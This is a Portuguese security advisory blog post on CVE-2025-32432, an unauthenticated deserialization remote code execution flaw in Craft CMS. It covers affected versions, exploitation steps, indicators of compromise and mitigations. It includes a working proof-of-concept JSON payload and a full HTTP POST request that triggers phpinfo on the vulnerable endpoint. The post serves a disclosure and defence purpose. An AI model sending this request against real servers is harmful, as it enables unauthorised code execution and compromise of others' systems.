CVE-2025-32432: Desserialização no Craft CMS Permite RCE

BypassecBypassec
4 min read

Introdução

Identificada em 7 de abril de 2025 e publicada oficialmente em 25 de abril de 2025 no NVD, a CVE-2025-32432 apresenta uma ameaça crítica para organizações que utilizam o Craft CMS, um sistema de gerenciamento de conteúdo amplamente adotado. Essa falha permite a execução remota de código (RCE) sem autenticação, possibilitando que atacantes executem comandos arbitrários no servidor, comprometendo a segurança de dados e a integridade do sistema. Estima-se que cerca de 13.000 instâncias do Craft CMS sejam vulneráveis, com pelo menos 300 já comprometidas. Patches foram disponibilizados em 10 de abril de 2025, mas a exploração ativa foi detectada desde 17 de abril, tornando a resposta imediata essencial.

Versões Afetadas

A vulnerabilidade afeta as seguintes versões do Craft CMS:

VersãoIntervalo Afetado
Craft CMS 3.x3.0.0-RC1 a 3.9.14
Craft CMS 4.x4.0.0-RC1 a 4.14.14
Craft CMS 5.x5.0.0-RC1 a 5.6.16

Detalhamento Técnico

A CVE-2025-32432 é uma vulnerabilidade de deserialização insegura que resulta em execução remota de código (RCE). Ela está relacionada a uma falha no framework Yii (CVE-2024-58136), corrigida na versão 2.0.52, mas que exigiu correções específicas no Craft CMS. A exploração ocorre no endpoint actions/assets/generate-transform, onde uma requisição POST maliciosa pode deserializar um objeto PHP manipulado, permitindo a execução de código arbitrário.

Processo de Exploração

Para explorar a falha, um agente malicioso pode seguir as seguintes etapas:

  1. Obtenção de um CSRF Token Válido: Antes de explorar o endpoint vulnerável, o atacante precisa obter o token CSRF requerido na próxima requisição. Para isso, uma requisição básica para o endpoint /index.php?p=admin/dashboard pode ser realizada para capturar o token CSRF.

  2. Envio do Payload Malicioso: Com o token CSRF válido, o atacante envia uma requisição POST ao mesmo endpoint com um payload que explora a deserialização. Um exemplo simplificado desse payload seria:

{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}

Esse payload faz com que o servidor execute a função phpinfo(), demonstrando a capacidade de executar código. Em cenários reais, atacantes podem usar payloads mais complexos para instalar backdoors ou extrair dados.

A requisição POST completa ficaria algo como:

POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: <hostname>
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: <token>
Content-Type: application/json

{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}
  1. Exploração Avançada: Após a execução inicial, atacantes podem carregar arquivos PHP maliciosos, como o filemanager.php, para manter acesso persistente. Isso foi observado em campanhas que usaram IPs específicos, como 172.86.113.137 e 104.161.32.11, para distribuir malware.

Ferramentas e Exploits Públicos

Existem ferramentas que automatizam a exploração, disponíveis em repositórios como:

Além disso, um módulo do Metasploit foi publicado, reduzindo a barreira para atacantes menos experientes. A SensePost também disponibilizou um template Nuclei para detecção em versões 4.x e 5.x.

Evidências de Exploração

A exploração no mundo real foi confirmada em 17 de abril de 2025, com campanhas que instalaram arquivos como filemanager.php (MD5: d8fddbd85e6af76c91bfa17118dbecc6) e outros, como autoload_classmap.php e wp-22.php. A SensePost identificou cerca de 35.000 domínios hospedando Craft CMS, dos quais 13.000 eram vulneráveis, majoritariamente nos Estados Unidos.

Mitigações

Patch Oficial

A solução definitiva é atualizar o Craft CMS para as versões corrigidas, lançadas em 10 de abril de 2025:

Medidas Temporárias

Se a atualização imediata não for possível, as seguintes ações podem reduzir o risco:

  • Bloqueio no Firewall: Configure o firewall para bloquear requisições POST ao endpoint actions/assets/generate-transform que contenham a string __class no corpo. Isso pode ser implementado em ferramentas como WAFs (Web Application Firewalls).

  • Biblioteca de Segurança: Instale a Craft CMS Security Patches como uma solução temporária.

  • Monitoramento de Logs: Verifique os logs do servidor em busca de requisições suspeitas ao endpoint mencionado, especialmente aquelas com __class.

Conclusão

A vulnerabilidade CVE-2025-32432 é uma ameaça crítica que expõe sistemas Craft CMS a ataques severos, incluindo roubo de dados e instalação de malware. Sua exploração ativa e a disponibilidade de ferramentas públicas, como scripts Python e módulos Metasploit, aumentam a urgência de ação. As organizações devem priorizar a atualização para as versões corrigidas e implementar medidas de mitigação temporárias, se necessário. A rápida resposta a essa falha é essencial para proteger a infraestrutura digital.

Se você deseja testar a segurança de seus sistemas de forma prática e eficaz, te convidamos a realizar um torneio hacking na Bypassec, uma plataforma com mais de 100 hackers éticos em prontidão para identificar as vulnerabilidades em seu ambiente.

Referências

0
Subscribe to my newsletter

Read articles from Bypassec directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Bypassec
Bypassec